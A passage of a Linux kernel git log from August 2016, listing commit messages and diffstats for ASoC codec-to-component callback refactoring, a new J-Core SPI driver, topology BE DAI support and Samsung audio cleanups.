es8328 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/es8328.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 054ea6c9e3d240a6679458c6e6e1ecf4031271ea Author: Kuninori Morimoto Date: Mon Aug 8 09:01:11 2016 +0000 ASoC: codec duplicated callback function goes to component on gtm601 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/gtm601.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit f410a81d4d5fd4d0e9477c5d7ebd4e6712ed4c42 Author: Kuninori Morimoto Date: Mon Aug 8 09:00:54 2016 +0000 ASoC: codec duplicated callback function goes to component on inno_rk3036 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/inno_rk3036.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 750a33e6173c5ac5f202f15bb092eb4965f4547d Author: Kuninori Morimoto Date: Mon Aug 8 09:00:35 2016 +0000 ASoC: codec duplicated callback function goes to component on max9860 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/max9860.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit a005fd746b4a257ff650c4ac9651111a5d580abe Author: Kuninori Morimoto Date: Mon Aug 8 09:00:18 2016 +0000 ASoC: codec duplicated callback function goes to component on pcm1681 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/pcm1681.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 98773a87e83dfd81c77418f2d0f19a63e7476bac Author: Kuninori Morimoto Date: Mon Aug 8 08:59:59 2016 +0000 ASoC: codec duplicated callback function goes to component on pcm179x codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/pcm179x.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit d4fff1ba4768dc7b8dd09db0eee19c1ff098ee60 Author: Kuninori Morimoto Date: Mon Aug 8 08:59:41 2016 +0000 ASoC: codec duplicated callback function goes to component on pcm3168a codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/pcm3168a.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit d25f113f969eb9a0ae3a61d3937a0fbfe7ecdbdd Author: Kuninori Morimoto Date: Mon Aug 8 08:59:23 2016 +0000 ASoC: codec duplicated callback function goes to component on pcm512x codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/pcm512x.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 947cd148b43c025bab870f724cba7a17d090f1a5 Author: Kuninori Morimoto Date: Mon Aug 8 08:59:05 2016 +0000 ASoC: codec duplicated callback function goes to component on rt5616 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/rt5616.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit f78bc2bf1d336246c85fe5a009104fe7c3f586d9 Author: Kuninori Morimoto Date: Mon Aug 8 08:58:45 2016 +0000 ASoC: codec duplicated callback function goes to component on rt5631 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/rt5631.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit a324dbe5201aadbd96063404162d996ec8a6ad9e Author: Kuninori Morimoto Date: Mon Aug 8 08:58:28 2016 +0000 ASoC: codec duplicated callback function goes to component on sgtl5000 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/sgtl5000.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 35eeafe3bf90d969756c5ef0f996c052ef35959d Author: Kuninori Morimoto Date: Mon Aug 8 08:58:11 2016 +0000 ASoC: codec duplicated callback function goes to component on spdif_receiver codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/spdif_receiver.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit b9c990da5f258af36acc508f460356e47cd3cb14 Author: Kuninori Morimoto Date: Mon Aug 8 08:57:52 2016 +0000 ASoC: codec duplicated callback function goes to component on spdif_transmitter codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/spdif_transmitter.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 21c822343fc001b16c6865af8925c83268801644 Author: Kuninori Morimoto Date: Mon Aug 8 08:57:35 2016 +0000 ASoC: codec duplicated callback function goes to component on ssm2602 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ssm2602.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit b5fce187a54808861bb24d84301a8d6d2559bca9 Author: Kuninori Morimoto Date: Mon Aug 8 08:57:18 2016 +0000 ASoC: codec duplicated callback function goes to component on ssm4567 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ssm4567.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 37f112b39d8442a17ecdc7e72d42145d8cf18d37 Author: Kuninori Morimoto Date: Mon Aug 8 08:57:00 2016 +0000 ASoC: codec duplicated callback function goes to component on sta32x codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/sta32x.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit ffbb87c94acf917eccd70c635af58dee60548f3d Author: Kuninori Morimoto Date: Mon Aug 8 08:56:41 2016 +0000 ASoC: codec duplicated callback function goes to component on sta350 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/sta350.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 97bf5f33475c1d2db8a5173883acacb961f45563 Author: Kuninori Morimoto Date: Mon Aug 8 08:56:24 2016 +0000 ASoC: codec duplicated callback function goes to component on sti-sas codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/sti-sas.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit e5538659c81991b9074ccb842e8af901c908b79b Author: Kuninori Morimoto Date: Mon Aug 8 08:55:58 2016 +0000 ASoC: codec duplicated callback function goes to component on tas2552 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/tas2552.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 9a9a069c4445122b98025e8b1003caf5e0eba037 Author: Kuninori Morimoto Date: Mon Aug 8 08:55:41 2016 +0000 ASoC: codec duplicated callback function goes to component on tas5086 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/tas5086.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit d75a9df6927363e5c4a41477db39e5332aa6bf73 Author: Kuninori Morimoto Date: Mon Aug 8 08:55:21 2016 +0000 ASoC: codec duplicated callback function goes to component on tas571x codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/tas571x.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit a8f552df807d0c809ec529c8e998a6abbf40f324 Author: Kuninori Morimoto Date: Mon Aug 8 08:55:04 2016 +0000 ASoC: codec duplicated callback function goes to component on tas5720 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/tas5720.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit f2dea01ccbfc34a5e631afeb13c7d010d39c2543 Author: Kuninori Morimoto Date: Mon Aug 8 08:54:44 2016 +0000 ASoC: codec duplicated callback function goes to component on tfa9879 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/tfa9879.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit e88e495064e602772afa7b165643866acc6da6bf Author: Kuninori Morimoto Date: Mon Aug 8 08:54:25 2016 +0000 ASoC: codec duplicated callback function goes to component on tlv320aic23 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/tlv320aic23.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 1bb99f2a00682162b42998d2bafd7633c6c37541 Author: Kuninori Morimoto Date: Mon Aug 8 08:53:34 2016 +0000 ASoC: codec duplicated callback function goes to component on tlv320aic31xx codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/tlv320aic31xx.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 786e3a480fa9e04b36191a2529cabfec3e30ad9c Author: Kuninori Morimoto Date: Mon Aug 8 08:53:08 2016 +0000 ASoC: codec duplicated callback function goes to component on tlv320aic3x codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/tlv320aic3x.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 42c889233d8d5e075fdf8a2643a4ca69a9807075 Author: Kuninori Morimoto Date: Mon Aug 8 08:52:40 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8510 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8510.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit f8a5c975bd5b7fc5e46fd85b5a65c0028d09f979 Author: Kuninori Morimoto Date: Mon Aug 8 08:52:19 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8523 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8523.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit cc469502fecf023330b21e34aae3268fe763e446 Author: Kuninori Morimoto Date: Mon Aug 8 08:52:01 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8580 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8580.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit e324d8fa47016ca829989b95bc7bb4b550551b47 Author: Kuninori Morimoto Date: Mon Aug 8 08:51:40 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8711 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8711.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 298e17babf7d3fbc5ab225212cbf3af414d97109 Author: Kuninori Morimoto Date: Mon Aug 8 08:51:16 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8728 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8728.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 2cb7474b0c74a6ba433afaa4d69d7ccec310c70e Author: Kuninori Morimoto Date: Mon Aug 8 08:50:58 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8731 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8731.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 5cf0b2bd457ceae21b9a85ca7ecf97ccfbca6e25 Author: Kuninori Morimoto Date: Mon Aug 8 08:50:38 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8737 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8737.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 818d2aa162b886e4c1b722ca8661f79384a257e9 Author: Kuninori Morimoto Date: Mon Aug 8 08:50:19 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8741 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8741.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit c107fbaff34eddebeb34714f0334d710ca937091 Author: Kuninori Morimoto Date: Mon Aug 8 08:50:02 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8750 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8750.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 73238401ee2a344e921165b3d40bab3a89fe0f40 Author: Kuninori Morimoto Date: Mon Aug 8 08:49:44 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8753 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8753.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit baa484716a59e86065787ae20008703d178dcec5 Author: Kuninori Morimoto Date: Mon Aug 8 08:49:19 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8770 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8770.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 42a60205fff0cacd384ae9497c00de61d5a240bd Author: Kuninori Morimoto Date: Mon Aug 8 08:49:02 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8776 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8776.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit f1d13276e1856814ac02c077ba0829f6d16b9468 Author: Kuninori Morimoto Date: Mon Aug 8 08:48:42 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8804 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8804.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 2fdff3a06e2fdc7ddfb5636e500fcd491c897c7c Author: Kuninori Morimoto Date: Mon Aug 8 08:48:24 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8903 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8903.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 48b042380e970b70f1c5453d31c6bbff2114974e Author: Kuninori Morimoto Date: Mon Aug 8 08:48:05 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8974 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8974.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 7a3304ea5c783fba6b68c62e17d041dfe9e57d9c Author: Kuninori Morimoto Date: Mon Aug 8 08:47:36 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8978 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8978.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit c90e938ebfc3e239818fbb5abe761837f4f80d53 Author: Kuninori Morimoto Date: Mon Aug 8 08:47:18 2016 +0000 ASoC: codec duplicated callback function goes to component on wm8985 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/wm8985.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 8073aefa60823acf205a1e6a5ea118297179d766 Author: Kuninori Morimoto Date: Mon Aug 8 09:36:49 2016 +0000 ASoC: remove codec duplicated callback function codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch removes codec side duplicated callback function. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown include/sound/soc.h | 8 -------- sound/soc/soc-core.c | 13 ------------- 2 files changed, 21 deletions(-) commit 90eb10fc4fc2d5977879489324e5c4abe099e650 Author: Kuninori Morimoto Date: Mon Aug 8 08:46:59 2016 +0000 ASoC: codec duplicated callback function goes to component on pistachio-internal-dac codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/img/pistachio-internal-dac.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 180f58fece4be11125e663983ee3388e6512f159 Author: Kuninori Morimoto Date: Mon Aug 8 08:46:41 2016 +0000 ASoC: codec duplicated callback function goes to component on sun4i-codec codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/sunxi/sun4i-codec.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit aeb8f8cb1537450e99f7d8f1a1d84d55b0fc6b26 Author: Chris Brandt Date: Fri Aug 5 09:36:03 2016 -0400 spi: rspi: Increase accuracy of bit rate for RZ When you leave the clock divider at 0, 130kHz is the lowest you can go. Also, by adjusting the clock divider you can get more accurate resolutions for clock speeds lower than 16MHz. This patch uses the clock divider as part of the bit rate setup. Signed-off-by: Chris Brandt Signed-off-by: Mark Brown drivers/spi/spi-rspi.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit a3cfea0448905581c4dfc087342f5142793bcb66 Author: Wei Yongjun Date: Thu Jul 28 16:19:47 2016 +0000 spi: pic32-sqi: use list_move_tail and list_move Using list_move_tail() and list_move() to simplify the code. Signed-off-by: Wei Yongjun Signed-off-by: Mark Brown drivers/spi/spi-pic32-sqi.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 2cb1b3b3ac0ac86b70eb1ecd65585c0d024fe273 Author: Rich Felker Date: Thu Aug 4 04:30:37 2016 +0000 spi: add driver for J-Core SPI controller The J-Core "spi2" device is a PIO-based SPI master controller. It differs from "bitbang" devices in that that it's clocked in hardware rather than via soft clock modulation over gpio, and performs byte-at-a-time transfers between the cpu and SPI controller. This driver will be extended to support future versions of the J-Core SPI controller with DMA transfers when they become available. Signed-off-by: Rich Felker Signed-off-by: Mark Brown drivers/spi/Kconfig | 7 ++ drivers/spi/Makefile | 1 + drivers/spi/spi-jcore.c | 232 ++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 240 insertions(+) commit 7ed66c6d8841f215c4371b72206fdecfbcd7a396 Author: Rich Felker Date: Thu Aug 4 04:30:37 2016 +0000 spi: jcore: add J-Core SPI master bindings Signed-off-by: Rich Felker Signed-off-by: Mark Brown .../devicetree/bindings/spi/jcore,spi.txt | 34 ++++++++++++++++++++++ 1 file changed, 34 insertions(+) commit 0038be9a84dc1a4fbea9ddffe32c1cd141843447 Author: Mengdong Lin Date: Tue Jul 26 14:32:37 2016 +0800 ASoC: topology: Add support for configuring existing BE DAIs The platform driver may just specify the BE (Back End) DAI name and ID. And topology will find the existing BE DAI by its name and ID, and then configure its stream caps and flags. Signed-off-by: Mengdong Lin Signed-off-by: Mark Brown sound/soc/soc-topology.c | 113 ++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 111 insertions(+), 2 deletions(-) commit dc31e741db49e35e8b99d293dcc7afbbe9418fa7 Author: Mengdong Lin Date: Tue Jul 26 14:32:18 2016 +0800 ASoC: topology: ABI - Add the types for BE DAI Define the type and ABI struct for Backend DAIs. Add the number of BE DAIs to manifest, and some reserved fields for future extensions. Pump the version number to 5. Topology core will check size of ABI objects to detect version mismatch between user space and kernel. Signed-off-by: Guneshwor Singh Signed-off-by: Mengdong Lin Signed-off-by: Mark Brown include/uapi/sound/asoc.h | 34 ++++++++++++++++++++++++++++++++-- 1 file changed, 32 insertions(+), 2 deletions(-) commit 45ef4969d68f1837649ff3d8cdc5b804fa66df42 Author: Sylwester Nawrocki Date: Fri Aug 5 11:47:09 2016 +0200 ASoC: samsung: s3c24xx_uda134x: debug/error trace cleanup Switch from pr_* to dev_* macros and drop some debug traces. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown sound/soc/samsung/s3c24xx_uda134x.c | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) commit 28405212b5f972c8a9f666a5bcd1abdcb4a5dd5a Author: Sylwester Nawrocki Date: Thu Aug 4 15:38:46 2016 +0200 ASoC: samsung: Convert s3c24xx_uda134x to use devm_snd_soc_register_card() Suppreses a following kernel warning: "soc-audio soc-audio: ASoC: machine S3C24XX_UDA134X should use snd_soc_register_card()". Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown sound/soc/samsung/s3c24xx_uda134x.c | 34 +++++++--------------------------- 1 file changed, 7 insertions(+), 27 deletions(-) commit 2da1e487cab4f3d134cc4b3ce2bd648660683900 Author: Sylwester Nawrocki Date: Thu Aug 4 15:38:45 2016 +0200 ASoC: s3c24xx_uda134x: Drop initialization of codec's platform data It's already taken care by the codec and its platform_data defined in the arch/arm/mach-s3c24xx/mach-mini2440.c board file. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown sound/soc/samsung/s3c24xx_uda134x.c | 71 +------------------------------------ 1 file changed, 1 insertion(+), 70 deletions(-) commit 84c5c20395a8e4ca2043136e1f0d128cf758244b Author: Sylwester Nawrocki Date: Thu Aug 4 15:38:44 2016 +0200 ASoC: s3c24xx_uda134x: Remove unused power() callback The power() callback has always been empty so just remove it. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown include/sound/s3c24xx_uda134x.h | 1 - sound/soc/samsung/s3c24xx_uda134x.c | 1 - 2 files changed, 2 deletions(-) commit 15a1bf0a7d3d7e6b351cac472ca4b6bc3746eb2e Author: Sylwester Nawrocki Date: Thu Aug 4 15:38:43 2016 +0200 ASoC: uda134x: Optionally initialize L3 ops to default GPIO ops The GPIO ops can be selected by platform_data which allows the codec platform device to probe without the sound card's driver intervention. The downside is that it will request GPIOs on behalf of the codec device and thus allow only one user on the bus, but it desn't seem to be a limitation with current code and usage of the GPIO ops is optional anyway. The proper approach would presumably be to create a proper Linux bus driver for L3, should this rather ancient bus specification suddenly gain more interest. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown sound/soc/codecs/uda134x.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 11496471a1a2e126e7228c88a606544bb57c3e19 Author: Sylwester Nawrocki Date: Thu Aug 4 15:38:42 2016 +0200 ARM: S3C24XX: Specify audio codec platform_data for mini2440 board The L3 bus GPIOs are specified in the board file rather than through the sound card's device platform_data. This allows to ensure the codec driver doesn't get probed with uninitialized platform_data field of its corresponding platform device. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown arch/arm/mach-s3c24xx/mach-mini2440.c | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit 0306741004fdfc2bc515b4b129b1f86881c5fcf5 Author: Sylwester Nawrocki Date: Thu Aug 4 15:38:41 2016 +0200 ASoC: L3 bus: Add default gpio ops This adds aptional GPIO bit-bang based callback implementations for setting CLK, DATA and MODE L3 bus lines. It is added here to avoid possible duplicate implementations across users of the bus. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown include/sound/l3.h | 15 ++++++++--- sound/soc/codecs/l3.c | 71 ++++++++++++++++++++++++++++++++++++++++++--------- 2 files changed, 71 insertions(+), 15 deletions(-) commit 9b08f30c4f91fb9bbafa6a844cd0302e5752b21e Author: Sylwester Nawrocki Date: Thu Aug 4 11:30:32 2016 +0200 ASoC: samsung: Remove unused now unused struct s3c_dma_params There is no user of this data structure now, all users have been converted to use struct snd_dmaengine_dai_dma_data instead. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown sound/soc/samsung/dma.h | 20 +++----------------- sound/soc/samsung/dmaengine.c | 31 ------------------------------- sound/soc/samsung/idma.c | 1 - sound/soc/samsung/s3c-i2s-v2.c | 1 - sound/soc/samsung/smdk_wm8580pcm.c | 1 - sound/soc/samsung/smdk_wm8994pcm.c | 1 - 6 files changed, 3 insertions(+), 52 deletions(-) commit 2feb6165397155010147ff181b1501424c28ade7 Author: Sylwester Nawrocki Date: Thu Aug 4 11:30:31 2016 +0200 ASoC: samsung: Drop usage of of struct s3c_dma_params from pcm.c struct s3c_dma_params already includes struct snd_dmaengine_dai_dma_data, there is no need for such an indirection so switch to using struct snd_dmaengine_dai_dma_data instead of struct s3c_dma_params. This also allows 